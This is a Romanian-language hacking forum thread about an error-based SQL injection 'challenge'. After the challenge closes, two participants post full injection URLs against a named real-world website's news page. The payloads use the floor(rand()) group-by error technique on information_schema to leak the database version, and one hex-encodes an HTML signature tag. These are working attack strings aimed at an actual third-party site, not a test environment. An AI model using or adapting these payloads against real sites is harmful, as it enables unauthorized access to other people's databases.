[EASY] SQLi(njection) challenge #6

[.darky]

• -

Edited May 15, 2018 by .darky

[AsalT]

[dancezar]

//

Edited February 5, 2014 by danyweb09

[lehelke]

Cum naiba sa aflu siteul daca il criptezi

[.darky]

Cum naiba sa aflu siteul daca il criptezi

Decripteaza-l.

[Amad]

Prin blind nu putem face? Error based inca nu am dat de cap

[.darky]

Prin blind nu putem face? Error based inca nu am dat de cap

Nu. E musai sa fie error based. :>

[.darky]

CHALLENGE CLOSED!

This challenge is for now, closed. Any reply/private message about it will not be considered.

[Shelo]

Tot ca s-a terminat acest challange am terminat mai tarziu , am spus sa va public syntaxa facuta de mine

http://www.mangaldeep.co.in/news1.php?id=3 and (select 1 from (select count(*),concat((select(select concat(0x3c666f6e7420636f6c6f723d2223333338303030223e5368656c6f203c2f666f6e743e,cast(version() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

[dancezar]

Tot ca s-a terminat acest challange am terminat mai tarziu , am spus sa va public syntaxa facuta de mine

http://www.mangaldeep.co.in/news1.php?id=3 and (select 1 from (select count(*),concat((select(select concat(0x3c666f6e7420636f6c6f723d2223333338303030223e5368656c6f203c2f666f6e743e,cast(version() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Scuze da sintaxa aia nu e facuta de tine este folosita de tine

Uite si sintaxa folosita de mine

http://www.mangaldeep.co.in/news1.php?id=3 and @a:=1 LIKE(select @a from(select count(@a),concat((select concat(0x3a,@@version,':danyweb09::')),floor(rand(0)*1337))sele from information_schema.tables group by sele)plm)